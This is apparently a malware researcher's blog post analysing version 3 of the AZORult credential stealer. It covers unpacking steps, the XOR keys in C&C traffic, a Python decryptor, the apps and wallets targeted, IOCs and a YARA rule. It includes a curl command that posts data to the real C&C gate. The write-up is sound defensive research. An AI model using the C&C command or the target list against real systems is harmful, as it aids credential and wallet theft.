AZORult stealer

Published on 2018-05-04 08:00:00.

Tools

AZORult

A few weeks ago, we spotted a new version of a low quality stealer named AZORult version 3, maybe one of the most widespread actually, but not a very technical one. The two first versions were really simple, now the developpers have modified it a bit.

Unpacking

Most of the known samples are not packed but this one we discovered is… starts to be a bit more interesting.

In this article, we will analyse the sample MD5:f32bd9317b8dc700e899aacc554a3b50 for which the packer type is unknown. As you’ll see, it’s really simple to retreive the original binary. There is no antiVM or antidebug defenses except a call to IsDebuggerPresent which can be easily bypassed.

Let’s fire up the sample in IDA to take a quick look at it and let’s go directly to the Winmain function where you can see that it allocates a chunck of memory heap:

image

While debuging the sample in x64dbg, we identified that it copies its resources inside this memory chunk (the function FindActCtxSectionStringW is not usefull).

image

Afterwards it will decrypt this block and obtain a shellcode.

image

This shellcode is really simple too, it will make some API calls including VirtualProtect, it will set rwx rights on the original PE memory sections and will replace the contents of the AZORult code.

A quick win for this packer is to put an hardware breackpoint on write access direcly inside the pe code section and dump the source memory chunck.

Reversing the sample

Let’s continue with our dumped binary, MD5: 5ddac41b063bc265854f053fb026475f dumped.exe

First, it retrieves the machine GUID, Windows version, user, and machine name. Then it xors them with the hardcoded key 0x6521458A, concats them and stores the result in the getcfg variable. The result of this operation will be the identifier of the infected machine. After that it will urlencode the content of the variable which will look like this:

getcfg=%33E%30%35%34%33E%2DBC%38AFDB%30%2DA%35EACC%31B%2D%37D%38%35%31E%36D%2D%33BF%32%31FF%39E

Finally, it will xor the getcfg variable with another hardcoded key: 0xFE 0x29 0x36

image

This function will always be used to send and receive data to/from the C&C.

For its communication, it uses the Winsock API, loaded by multiple GetProcAdress API calls.

At this moment, we were blind because we didn’t have the C&C panel source code. As we wanted to see what the gate would reply to us if we emulate the first malware callback, we used this command line to give it a try (in this case loveyoupolice182938481.php is the gate name, most of time they would use gate.php, but it’s detected quickly by a IDS):

$ curl –request POST –data-binary “@data.bin” hxxp://91.243.81.212/loveyoupolice182938481.php

And we received a big binary answer.

image

Now that we know the xor key traffic, it’s easy to decrypt the malware communication, unxored it with a simple python script:

#!/usr/bin/python3

import sys
from clint.textui import colored

def XOR(data, key):

    try:

        datalen=len(data)
        keylen=len(key)

        crypt_content=""

        for i in range(datalen):
            tmp = ord(data[i]) ^ ord(key[i%len(key)])
            crypt_content += chr(tmp)

            
    except Exception as e:
        print (colored.red("Exception: " + str(e) + ". Line: " + format(sys.exc_info()[-1].tb_lineno)))
    
    return crypt_content


fHandle = open("datas.bin")

crypteddata = fHandle.read()

xorkey = ['\xFE', '\x29', '\x36']

clearDatas = XOR(crypteddata, xorkey)

print (clearDatas)

fHandle.close()

And we obtain three parts:

2 plugins DLL

e1b58e0aa1b377a1d0e940660ad1ace1 plugin.dll 1715e9a68b94e5fc1a17c3ccd0929d16 plugin2.dll

The first one is the sqlite3.dll VT to help the sample to read password stored in sqlite db like Firefox.

The second one VT contains some malware functionalities.

And the third part contains a list of software names, registry keys, or folder paths and information to steal data.

This malware is able to steal accounts from the following software:

Firefox password Internet Explorer/Edge Thunderbird Chrome/Chromium Yandex Browser Opera CocCoc (Vietnam Browser) Comodo Dragon Browser Amigo (Russian Browser) InternetMailRu ComodoDragon Orbitum Bromium Nichrome RockMelt 360Browser Vivaldi Opera GoBrowser Sputnik Kometa Uran QIPSurf Epic Brave CentBrowser 7Star ElementsBrowser TorBro Suhba SaferBrowser Mustang Superbird Chedot Torch Outlook FileZilla WinSCP Pidgin PsiPlus Steam Skype Telegram

image

The sample also retrieves the public ip adress of the infected machine with a call to http://ip-api.com/json

It’s also able to:

List all installed software List processes Get information about the machine name (CPU type, Graphic card, size of memory) Take screen captures Steal cryptomoney wallet from Electrum, MultiBit, monero-project, bitcoin-qt

Quick look at the panel

First the login page: image

Info on compromised machines: image image image image

We were able to get the C&C panel source code, you can find it here:

github

I guess you will be able to find funny stuffs inside ;)

IOC

samples:

f32bd9317b8dc700e899aacc554a3b50
d444350e4ea6e10285865d02982d28ee
7ff25aad4b48a2eca4237755735c158a

contacted domains hxxp://91.243.81.212/ hxxp://5.8.88.106/a/ hxxp://wattmeter.win/a

Yara Rules

rule azorult3
{
meta:
        author = "futex"
        date = "2018-04-30"
        description = "Azorult3"
        sample_filetype = "exe"
strings:
        $string0 = "</Port>" wide
        $string1 = "004080"
        $string2 = "\\ssfn*" wide
        $string3 = "<f<n<v<"
        $string4 = "Password" wide
        $string5 = "</RecentServers>" wide
        $string6 = "FPUMaskValue"
        $string7 = "2d2h2l2p2t2x2"
        $string8 = "GetRAM: "
        $string9 = "%APPDATA%\\MultiBitHD" wide
        $string10 = "VaultEnumerateItems"
        $string11 = "VaultGetItem"
        $string12 = "1.161>1F1N1V1"
        $string13 = "BuildImportTable: GetProcAddress failed"
        $string14 = "PortNumber" wide
        $string15 = "8)838I8O8]8p8z8"
        $string16 = "_CC.txt" wide
        $string17 = "VaultOpenVault"
        $string18 = "<Pass>" wide
condition:
        18 of them
}